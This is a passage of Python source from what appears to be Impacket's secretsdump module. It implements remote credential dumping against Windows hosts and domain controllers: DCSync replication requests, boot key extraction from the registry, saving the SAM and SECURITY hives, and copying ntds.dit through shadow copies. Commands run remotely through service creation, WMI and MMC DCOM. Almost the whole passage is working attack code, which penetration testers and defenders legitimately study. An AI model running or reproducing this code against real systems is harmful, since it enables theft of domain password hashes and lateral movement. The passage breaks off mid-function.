drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP\n        request['pmsgIn']['V8']['cMaxObjects'] = 1\n        request['pmsgIn']['V8']['cMaxBytes'] = 0\n        request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ\n        if self.__ppartialAttrSet is None:\n            self.__prefixTable = []\n            self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT()\n            self.__ppartialAttrSet['dwVersion'] = 1\n            self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID)\n            for attId in list(NTDSHashes.ATTRTYP_TO_ATTID.values()):\n                self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId))\n        request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet\n        request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable)\n        request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable\n        request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL\n\n        return self.__drsr.request(request)\n\n    def getDomainUsers(self, enumerationContext=0):\n        if self.__samr is None:\n            self.connectSamr(self.getMachineNameAndDomain()[1])\n\n        try:\n            resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle,\n                                                    userAccountControl=samr.USER_NORMAL_ACCOUNT | \\\n                                                                       samr.USER_WORKSTATION_TRUST_ACCOUNT | \\\n                                                                       samr.USER_SERVER_TRUST_ACCOUNT |\\\n                                                                       samr.USER_INTERDOMAIN_TRUST_ACCOUNT,\n                                                    enumerationContext=enumerationContext)\n        except DCERPCException as e:\n            if str(e).find('STATUS_MORE_ENTRIES') < 0:\n                raise\n            resp = e.get_packet()\n        return resp\n\n    def getGroupsInDomain(self):\n        try:\n            resp = samr.hSamrEnumerateGroupsInDomain(self.__samr, self.__domainHandle)\n        except DCERPCException as e:\n            if str(e).find('STATUS_MORE_ENTRIES') < 0:\n                raise\n            resp = e.get_packet()\n        return resp\n\n    def getAliasesInDomain(self):\n        try:\n            resp = samr.hSamrEnumerateAliasesInDomain(self.__samr, self.__domainHandle)\n        except DCERPCException as e:\n            if str(e).find('STATUS_MORE_ENTRIES') < 0:\n                raise\n            resp = e.get_packet()\n        return resp\n\n    def getMembersInGroup(self, rid):\n        ans = samr.hSamrOpenGroup(self.__samr, self.__domainHandle, groupId=rid)\n        resp = samr.hSamrGetMembersInGroup(self.__samr, ans['GroupHandle'])\n\n        return resp\n\n    def getMembersInAlias(self, rid):\n        ans = samr.hSamrOpenAlias(self.__samr, self.__domainHandle, aliasId=rid)\n        resp = samr.hSamrGetMembersInAlias(self.__samr, ans['AliasHandle'])\n\n        return resp\n\n    def getDomainUsersLDAP(self, searchFilter):\n        domainUsers = []\n        if self.__ldapConnection is None:\n            LOG.error('Failed to establish LDAP connection, the user list will be empty')\n            return domainUsers\n\n        try:\n            LOG.debug('Search Filter=%s' % searchFilter)\n            sc = SimplePagedResultsControl(size=100)\n            resp = self.__ldapConnection.search(searchFilter=searchFilter, attributes=['msDS-PrincipalName','objectSid'], sizeLimit=0, searchControls=[sc])\n        except LDAPSearchError:\n            raise\n\n        self.__ldapConnection.close()\n\n        for item in resp:\n            if isinstance(item, SearchResultEntry):\n                msDSPrincipalName = ''\n                userSid = ''\n                try:\n                    for attribute in item['attributes']:\n                        if str(attribute['type']) == 'msDS-PrincipalName':\n                            msDSPrincipalName = attribute['vals'][0].asOctets().decode('utf-8')\n                        if str(attribute['type']) == 'objectSid':\n                            tsid = SID(attribute['vals'][0].asOctets())\n                            userSid = tsid.formatCanonical()\n                except Exception as e:\n                    LOG.debug(\"Exception\", exc_info=True)\n                    LOG.error('Skipping item, cannot process due to error %s' % str(e))\n                    pass\n                else:\n                    LOG.debug('DA msDS-PrincipalName: %s, SID: %s' % (msDSPrincipalName, userSid))\n                    domainUsers.append([msDSPrincipalName, userSid])\n\n        return domainUsers\n\n    def getDomainSid(self):\n        if self.__domainSid is not None:\n            return self.__domainSid\n\n        if self.__samr is None:\n            self.connectSamr(self.getMachineNameAndDomain()[1])\n\n        return self.__domainSid\n\n    def getDomainHandle(self):\n        return self.__domainHandle\n\n    def getMachineKerberosSalt(self):\n        \"\"\"\n        Returns Kerberos salt for the current connection if\n        we have the correct information\n        \"\"\"\n        if self.__smbConnection.getServerName() == '':\n            host, _ = self.getMachineNameAndDomain()\n            remoteName = self.__smbConnection.getRemoteName()\n            # Check if remoteName is FQDN, otherwise it will likely be the hostname only\n            if remoteName.lower().startswith(f\"{host.lower()}.\"):\n                domain = \".\".join(remoteName.split(\".\")[1:])\n            else:\n                return b''\n        else:\n            host = self.__smbConnection.getServerName()\n            domain = self.__smbConnection.getServerDNSDomainName()\n        LOG.debug(f\"[Secretsdump][getMachineKerberosSalt] Host: {host} / Domain FQDN: {domain}\")\n        salt = b'%shost%s.%s' % (domain.upper().encode('utf-8'), host.lower().encode('utf-8'), domain.lower().encode('utf-8'))\n        return salt\n\n    def getMachineNameAndDomain(self):\n        if self.__smbConnection.getServerName() == '':\n            # No serverName.. this is either because we're doing Kerberos\n            # or not receiving that data during the login process.\n            # Let's try getting it through RPC\n            rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\\pipe\\wkssvc]')\n            rpc.set_smb_connection(self.__smbConnection)\n            dce = rpc.get_dce_rpc()\n            dce.connect()\n            dce.bind(wkst.MSRPC_UUID_WKST)\n            resp = wkst.hNetrWkstaGetInfo(dce, 100)\n            dce.disconnect()\n            return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100'][\n                                                                                      'wki100_langroup'][:-1]\n        else:\n            return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()\n\n    def getDNSDomain(self):\n        if self.__smbConnection.getServerDNSDomainName() == '':\n            # Todo: figure out an RPC call that gives us the domain FQDN\n            # instead of the NETBIOS name as NetrWkstaGetInfo does\n            return b''\n        else:\n            return self.__smbConnection.getServerDNSDomainName()\n\n    def getDefaultLoginAccount(self):\n        try:\n            ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon')\n            keyHandle = ans['phkResult']\n            dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName')\n            username = dataValue[:-1]\n            dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName')\n            domain = dataValue[:-1]\n            rrp.hBaseRegCloseKey(self.__rrp, keyHandle)\n            if len(domain) > 0:\n                return '%s\\\\%s' % (domain,username)\n            else:\n                return username\n        except:\n            return None\n\n    def getServiceAccount(self, serviceName):\n        try:\n            # Open the service\n            ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName)\n            serviceHandle = ans['lpServiceHandle']\n            resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle)\n            account = resp['lpServiceConfig']['lpServiceStartName'][:-1]\n            scmr.hRCloseServiceHandle(self.__scmr, serviceHandle)\n            if account.startswith('.\\\\'):\n                account = account[2:]\n            return account\n        except Exception as e:\n            # Don't log if history service is not found, that should be normal\n            if serviceName.endswith(\"_history\") is False:\n                LOG.error(e)\n            return None\n\n    def __checkServiceStatus(self):\n        # Open SC Manager\n        ans = scmr.hROpenSCManagerW(self.__scmr)\n        self.__scManagerHandle = ans['lpScHandle']\n        # Now let's open the service\n        ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)\n        self.__serviceHandle = ans['lpServiceHandle']\n        # Let's check its status\n        ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)\n        if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:\n            LOG.info('Service %s is in stopped state'% self.__serviceName)\n            self.__shouldStop = True\n            self.__started = False\n        elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:\n            LOG.debug('Service %s is already running'% self.__serviceName)\n            self.__shouldStop = False\n            self.__started  = True\n        else:\n            raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])\n\n        # Let's check its configuration if service is stopped, maybe it's disabled :s\n        if self.__started is False:\n            ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle)\n            if ans['lpServiceConfig']['dwStartType'] == 0x4:\n                LOG.info('Service %s is disabled, enabling it'% self.__serviceName)\n                self.__disabled = True\n                scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3)\n            LOG.info('Starting service %s' % self.__serviceName)\n            scmr.hRStartServiceW(self.__scmr,self.__serviceHandle)\n            time.sleep(1)\n\n    def enableRegistry(self):\n        self.__connectSvcCtl()\n        self.__checkServiceStatus()\n        self.__connectWinReg()\n\n    def __restore(self):\n        # First of all stop the service if it was originally stopped\n        if self.__shouldStop is True:\n            LOG.info('Stopping service %s' % self.__serviceName)\n            scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)\n        if self.__disabled is True:\n            LOG.info('Restoring the disabled state for service %s' % self.__serviceName)\n            scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4)\n        if self.__serviceDeleted is False and self.__tmpServiceName is not None:\n            # Check again the service we created does not exist, starting a new connection\n            # Why?.. Hitting CTRL+C might break the whole existing DCE connection\n            try:\n                rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\\pipe\\svcctl]' % self.__smbConnection.getRemoteHost())\n                if hasattr(rpc, 'set_credentials'):\n                    # This method exists only for selected protocol sequences.\n                    rpc.set_credentials(*self.__smbConnection.getCredentials())\n                    rpc.set_kerberos(self.__doKerberos, self.__kdcHost)\n                self.__scmr = rpc.get_dce_rpc()\n                self.__scmr.connect()\n                self.__scmr.bind(scmr.MSRPC_UUID_SCMR)\n                # Open SC Manager\n                ans = scmr.hROpenSCManagerW(self.__scmr)\n                self.__scManagerHandle = ans['lpScHandle']\n                # Now let's open the service\n                resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName)\n                service = resp['lpServiceHandle']\n                scmr.hRDeleteService(self.__scmr, service)\n                scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)\n                scmr.hRCloseServiceHandle(self.__scmr, service)\n                scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)\n                scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)\n                rpc.disconnect()\n            except Exception as e:\n                # If service is stopped it'll trigger an exception\n                # If service does not exist it'll trigger an exception\n                # So. we just wanna be sure we delete it, no need to\n                # show this exception message\n                pass\n\n    def finish(self):\n        self.__restore()\n        if self.__rrp is not None:\n            self.__rrp.disconnect()\n        if self.__drsr is not None:\n            self.__drsr.disconnect()\n        if self.__samr is not None:\n            self.__samr.disconnect()\n        if self.__scmr is not None:\n            try:\n                self.__scmr.disconnect()\n            except Exception as e:\n                if str(e).find('STATUS_INVALID_PARAMETER') >=0:\n                    pass\n                else:\n                    raise\n\n    def getBootKey(self):\n        bootKey = b''\n        ans = rrp.hOpenLocalMachine(self.__rrp)\n        self.__regHandle = ans['phKey']\n        for key in ['JD','Skew1','GBG','Data']:\n            LOG.debug('Retrieving class info for %s'% key)\n            ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\%s' % key)\n            keyHandle = ans['phkResult']\n            ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle)\n            bootKey = bootKey + b(ans['lpClassOut'][:-1])\n            rrp.hBaseRegCloseKey(self.__rrp, keyHandle)\n\n        transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]\n\n        bootKey = unhexlify(bootKey)\n\n        for i in range(len(bootKey)):\n            self.__bootKey += bootKey[transforms[i]:transforms[i]+1]\n\n        LOG.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey).decode('utf-8'))\n\n        return self.__bootKey\n\n    def checkNoLMHashPolicy(self):\n        LOG.debug('Checking NoLMHash Policy')\n        ans = rrp.hOpenLocalMachine(self.__rrp)\n        self.__regHandle = ans['phKey']\n\n        ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa')\n        keyHandle = ans['phkResult']\n        try:\n            dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash')\n        except:\n            noLMHash = 0\n\n        if noLMHash != 1:\n            LOG.debug('LMHashes are being stored')\n            return False\n\n        LOG.debug('LMHashes are NOT being stored')\n        return True\n\n    def __retrieveHive(self, hiveName):\n        tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp'\n        ans = rrp.hOpenLocalMachine(self.__rrp)\n        regHandle = ans['phKey']\n        try:\n            ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName)\n        except:\n            raise Exception(\"Can't open %s hive\" % hiveName)\n        keyHandle = ans['phkResult']\n        rrp.hBaseRegSaveKey(self.__rrp, keyHandle, '..\\\\Temp\\\\'+tmpFileName)\n        rrp.hBaseRegCloseKey(self.__rrp, keyHandle)\n        rrp.hBaseRegCloseKey(self.__rrp, regHandle)\n        # Now let's open the remote file, so it can be read later\n        remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\\\'+tmpFileName)\n        return remoteFileName\n\n    def saveSAM(self):\n        LOG.debug('Saving remote SAM database')\n        return self.__retrieveHive('SAM')\n\n    def saveSECURITY(self):\n        LOG.debug('Saving remote SECURITY database')\n        return self.__retrieveHive('SECURITY')\n\n    def __smbExec(self, command):\n        self.__serviceDeleted = False\n        resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName,\n                                     lpBinaryPathName=command)\n        service = resp['lpServiceHandle']\n        try:\n            scmr.hRStartServiceW(self.__scmr, service)\n        except:\n            pass\n        scmr.hRDeleteService(self.__scmr, service)\n        self.__serviceDeleted = True\n        scmr.hRCloseServiceHandle(self.__scmr, service)\n\n    def __getInterface(self, interface, resp):\n        # Now let's parse the answer and build an Interface instance\n        objRefType = OBJREF(b''.join(resp))['flags']\n        objRef = None\n        if objRefType == FLAGS_OBJREF_CUSTOM:\n            objRef = OBJREF_CUSTOM(b''.join(resp))\n        elif objRefType == FLAGS_OBJREF_HANDLER:\n            objRef = OBJREF_HANDLER(b''.join(resp))\n        elif objRefType == FLAGS_OBJREF_STANDARD:\n            objRef = OBJREF_STANDARD(b''.join(resp))\n        elif objRefType == FLAGS_OBJREF_EXTENDED:\n            objRef = OBJREF_EXTENDED(b''.join(resp))\n        else:\n            logging.error(\"Unknown OBJREF Type! 0x%x\" % objRefType)\n\n        return IRemUnknown2(\n            INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],\n                      oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],\n                      target=interface.get_target()))\n\n    def __mmcExec(self,command):\n        command = command.replace('%COMSPEC%', 'c:\\\\windows\\\\system32\\\\cmd.exe')\n        username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials()\n        dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,\n                              oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)\n        iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)\n        iMMC = IDispatch(iInterface)\n\n        resp = iMMC.GetIDsOfNames(('Document',))\n\n        dispParams = DISPPARAMS(None, False)\n        dispParams['rgvarg'] = NULL\n        dispParams['rgdispidNamedArgs'] = NULL\n        dispParams['cArgs'] = 0\n        dispParams['cNamedArgs'] = 0\n        resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])\n\n        iDocument = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))\n        resp = iDocument.GetIDsOfNames(('ActiveView',))\n        resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])\n\n        iActiveView = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))\n        pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]\n\n        pQuit = iMMC.GetIDsOfNames(('Quit',))[0]\n\n        dispParams = DISPPARAMS(None, False)\n        dispParams['rgdispidNamedArgs'] = NULL\n        dispParams['cArgs'] = 4\n        dispParams['cNamedArgs'] = 0\n        arg0 = VARIANT(None, False)\n        arg0['clSize'] = 5\n        arg0['vt'] = VARENUM.VT_BSTR\n        arg0['_varUnion']['tag'] = VARENUM.VT_BSTR\n        arg0['_varUnion']['bstrVal']['asData'] = 'c:\\\\windows\\\\system32\\\\cmd.exe'\n\n        arg1 = VARIANT(None, False)\n        arg1['clSize'] = 5\n        arg1['vt'] = VARENUM.VT_BSTR\n        arg1['_varUnion']['tag'] = VARENUM.VT_BSTR\n        arg1['_varUnion']['bstrVal']['asData'] = 'c:\\\\'\n\n        arg2 = VARIANT(None, False)\n        arg2['clSize'] = 5\n        arg2['vt'] = VARENUM.VT_BSTR\n        arg2['_varUnion']['tag'] = VARENUM.VT_BSTR\n        arg2['_varUnion']['bstrVal']['asData'] = command[len('c:\\\\windows\\\\system32\\\\cmd.exe'):]\n\n        arg3 = VARIANT(None, False)\n        arg3['clSize'] = 5\n        arg3['vt'] = VARENUM.VT_BSTR\n        arg3['_varUnion']['tag'] = VARENUM.VT_BSTR\n        arg3['_varUnion']['bstrVal']['asData'] = '7'\n        dispParams['rgvarg'].append(arg3)\n        dispParams['rgvarg'].append(arg2)\n        dispParams['rgvarg'].append(arg1)\n        dispParams['rgvarg'].append(arg0)\n\n        iActiveView.Invoke(pExecuteShellCommand, 0x409, DISPATCH_METHOD, dispParams, 0, [], [])\n\n        dispParams = DISPPARAMS(None, False)\n        dispParams['rgvarg'] = NULL\n        dispParams['rgdispidNamedArgs'] = NULL\n        dispParams['cArgs'] = 0\n        dispParams['cNamedArgs'] = 0\n\n        iMMC.Invoke(pQuit, 0x409, DISPATCH_METHOD, dispParams, 0, [], [])\n\n\n    def __wmiExec(self, command):\n        # Convert command to wmi exec friendly format\n        command = command.replace('%COMSPEC%', 'cmd.exe')\n        username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials()\n        dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,\n                              oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)\n        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)\n        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)\n        iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)\n        iWbemLevel1Login.RemRelease()\n\n        win32Process,_ = iWbemServices.GetObject('Win32_Process')\n        win32Process.Create(command, '\\\\', None)\n\n        dcom.disconnect()\n\n    def __wmiCreateShadow(self, volume):\n        username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials()\n        dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,\n                              oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)\n        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)\n        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)\n        iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)\n        iWbemLevel1Login.RemRelease()\n\n        win32ShadowCopy,_ = iWbemServices.GetObject('Win32_ShadowCopy')\n        LOG.debug('Trying to create SS remotely via WMI')\n        result = win32ShadowCopy.Create(volume, 'ClientAccessible')\n\n        shadowId = result.ShadowID\n        LOG.debug('Got ShadowID %s' % shadowId)\n\n        dcom.disconnect()\n\n        return shadowId\n\n    def __wmiDeleteShadow(self, ssID):\n        username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials()\n        dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,\n                              oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)\n        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)\n        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)\n        iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)\n        iWbemLevel1Login.RemRelease()\n\n        wmiPath = 'Win32_ShadowCopy.ID=\"%s\"' % ssID\n        LOG.debug('Trying to delete ShadowCopy')\n        iWbemServices.DeleteInstance(wmiPath)\n\n        dcom.disconnect()\n\n    def __executeRemote(self, data):\n        self.__tmpServiceName = ''.join([random.choice(string.ascii_letters) for _ in range(8)])\n        command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + \\\n                  self.__shell + self.__batchFile\n        command += ' & ' + 'del ' + self.__batchFile\n\n        LOG.debug('ExecuteRemote command: %s' % command)\n        if self.__execMethod == 'smbexec':\n            self.__smbExec(command)\n        elif self.__execMethod == 'wmiexec':\n            self.__wmiExec(command)\n        elif self.__execMethod == 'mmcexec':\n            self.__mmcExec(command)\n        else:\n            raise Exception('Invalid exec method %s, aborting' % self.__execMethod)\n\n\n    def __answer(self, data):\n        self.__answerTMP += data\n\n    def __getLastVSS(self, forDrive=None):\n        if forDrive:\n            command = '%COMSPEC% /C vssadmin list shadows /for=' + forDrive\n        else:\n            command = '%COMSPEC% /C vssadmin list shadows'\n        self.__executeRemote(command)\n        time.sleep(5)\n        tries = 0\n        while True:\n            try:\n                self.__smbConnection.getFile('ADMIN$', 'Temp\\\\__output', self.__answer)\n                break\n            except Exception as e:\n                if tries > 30:\n                    # We give up\n                    raise Exception('Too many tries trying to list vss shadows')\n                if str(e).find('SHARING') > 0:\n                    # Stuff didn't finish yet.. wait more\n                    time.sleep(5)\n                    tries +=1\n                    pass\n                else:\n                    raise\n\n        lines = self.__answerTMP.split(b'\\n')\n        lastShadow = b''\n        lastShadowFor = b''\n        lastShadowId = b''\n\n        # Let's find the last one\n        # The string used to search the shadow for drive. Wondering what happens\n        # in other languages\n        SHADOWFOR = b'Volume: ('\n        IDSTART = b'Shadow Copy ID: {'\n        IDLEN=len('3547017b-0ac9-478b-88e6-f9be7e1c11999')\n\n        for line in lines:\n           if line.find(b'GLOBALROOT') > 0:\n               lastShadow = line[line.find(b'\\\\\\\\?'):][:-1]\n           elif line.find(SHADOWFOR) > 0:\n               lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2]\n           elif line.find(IDSTART) > 0:\n               lastShadowId = line[line.find(IDSTART)+len(IDSTART):][:IDLEN-1]\n\n        self.__smbConnection.deleteFile('ADMIN$', 'Temp\\\\__output')\n\n        LOG.debug('__getLastVSS found last VSS %s on %s with ID of %s' % (lastShadow.decode('utf-8'), lastShadowFor.decode('utf-8'), lastShadowId.decode('utf-8')))\n\n        return lastShadow.decode('utf-8'), lastShadowFor.decode('utf-8'), lastShadowId.decode('utf-8')\n\n    def saveNTDS(self):\n        LOG.info('Searching for NTDS.dit')\n        # First of all, let's try to read the target NTDS.dit registry entry\n        try:\n            ans = rrp.hOpenLocalMachine(self.__rrp)\n            regHandle = ans['phKey']\n        except:\n            # Can't open the root key\n            return None\n\n        try:\n            ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\\\CurrentControlSet\\\\Services\\\\NTDS\\\\Parameters')\n            keyHandle = ans['phkResult']\n        except:\n            # Can't open the registry path, assuming no NTDS on the other end\n            return None\n\n        try:\n            dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file')\n            ntdsLocation = dataValue[:-1]\n            ntdsDrive = ntdsLocation[:2]\n        except:\n            # Can't open the registry path, assuming no NTDS on the other end\n            return None\n\n        rrp.hBaseRegCloseKey(self.__rrp, keyHandle)\n        rrp.hBaseRegCloseKey(self.__rrp, regHandle)\n\n        LOG.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation)\n        LOG.info('Using %s method for remote execution' % self.__execMethod)\n        # Get the list of remote shadows\n        shadow, shadowFor, shadowId = self.__getLastVSS(forDrive=ntdsDrive)\n        if shadow == '' or (shadow != '' and shadowFor != ntdsDrive):\n            # No shadow, create one\n            self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive)\n            shadow, shadowFor, shadowId = self.__getLastVSS(forDrive=ntdsDrive)\n            shouldRemove = True\n            if shadow == '' or shadowFor != ntdsDrive:\n                raise Exception('Could not get a VSS')\n        else:\n            # There was already a shadow, let's not delete this\n            shouldRemove = False\n\n        # Now copy the ntds.dit to the temp directory\n        tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp'\n\n        self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\\\Temp\\\\%s' % (shadow, ntdsLocation[2:], tmpFileName))\n\n        if shouldRemove is True:\n            LOG.debug('Trying to delete shadow copy using command : %%COMSPEC%% /C vssadmin delete shadows /shadow=\"{%s}\" /Quiet' % shadowId)\n            self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /shadow=\"{%s}\" /Quiet' % shadowId)\n\n\n        tries = 0\n        while True:\n            try:\n                self.__smbConnection.deleteFile('ADMIN$', 'Temp\\\\__output')\n                break\n            except Exception as e:\n                if tries >= 30:\n                    raise e\n                if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0 or str(e).find('STATUS_SHARING_VIOLATION') >=0:\n                    tries += 1\n                    time.sleep(5)\n                    pass\n                else:\n                    logging.error('Cannot delete target file \\\\\\\\%s\\\\ADMIN$\\\\Temp\\\\__output: %s' % (self.__smbConnection.getRemoteHost(), str(e)))\n                    pass\n\n        remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\\\%s' % tmpFileName)\n\n        return remoteFileName\n\n    def createSSandDownloadWMI(self, volume, localPath, NTDS=False):\n        LOG.info('Creating SS')\n        ssID = self.__wmiCreateShadow(volume)\n        LOG.info('Getting SMB equivalent PATH to access remotely the SS')\n        gmtSMBPath = self.__smbConnection.listSnapshots(self.__smbConnection.connectTree('ADMIN$'), '/')[0]\n        LOG.debug('Got SMB GMT Path: %s' % gmtSMBPath)\n        LOG.debug('Performed SS via WMI and got info')\n\n        # Array of tuples of (local path to download, remote path of file)\n        paths = [('%s/SAM' % localPath, '%s\\\\System32\\\\config\\\\SAM' % gmtSMBPath),\n                 ('%s/SYSTEM' % localPath, '%s\\\\System32\\\\config\\\\SYSTEM' % gmtSMBPath),\n                 ('%s/SECURITY' % localPath, '%s\\\\System32\\\\config\\\\SECURITY' % gmtSMBPath)]\n\n        if NTDS:\n            LOG.debug('Adding NTDS Path')\n            paths.append(('%s/ntds.dit' % localPath, '%s\\\\NTDS\\\\ntds.dit' % gmtSMBPath))\n\n        for p in paths:\n            LOG.debug(\"Downloading Remote path: %s to -> %s\" % (p[1], p[0]))\n            with open(p[0], 'wb') as local_file:\n                self.__smbConnection.getFile('ADMIN$', p[1], local_file.write)\n\n        # Return a list of the local paths where SAM, SYSTEM and SECURITY were downloaded\n        LOG.debug('Trying to delete ShadowSnapshot')\n        self.__wmiDeleteShadow(ssID)\n\n        LOG.debug('Downloaded SAM, SYSTEM and SECURITY from Shadow Snapshot. Dumping...')\n        return list(zip(*paths))[0]\n\nclass CryptoCommon:\n    # Common crypto stuff used over different classes\n    def deriveKey(self, baseKey):\n        # 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key\n        # Let I be the little-endian, unsigned integer.\n        # Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes.\n        # Note that because I is in little-endian byte order, I[0] is the least significant byte.\n        # Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2].\n        # Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1]\n        key = pack('<L',baseKey)\n        key1 = [key[0] , key[1] , key[2] , key[3] , key[0] , key[1] , key[2]]\n        key2 = [key[3] , key[0] , key[1] , key[2] , key[3] , key[0] , key[1]]\n        if PY2:\n            return transformKey(b''.join(key1)),transformKey(b''.join(key2))\n        else:\n            return transformKey(bytes(key1)),transformKey(bytes(key2))\n\n    @staticmethod\n    def decryptAES(key, value, iv=b'\\x00'*16):\n        plainText = b''\n        if iv != b'\\x00'*16:\n            aes256 = AES.new(key,AES.MODE_CBC, iv)\n\n        for index in range(0, len(value), 16):\n            if iv == b'\\x00'*16:\n                aes256 = AES.new(key,AES.MODE_CBC, iv)\n            cipherBuffer = value[index:index+16]\n            # Pad buffer to 16 bytes\n            if len(cipherBuffer) < 16:\n                cipherBuffer += b'\\x00' * (16-len(cipherBuffer))\n            plainText += aes256.decrypt(cipherBuffer)\n\n        return plainText\n    \n    @staticmethod\n    def encryptAES(key, value, iv=b'\\x00'*16):\n        cipherText = b''\n        if iv != b'\\x00'*16:\n            aes256 = AES.new(key,AES.MODE_CBC, iv)\n        \n        # Pad input to 16 bytes using PKCS7\n        pad = 16 - (len(value) % 16)\n        value += bytes([pad]*pad)\n        \n        for index in 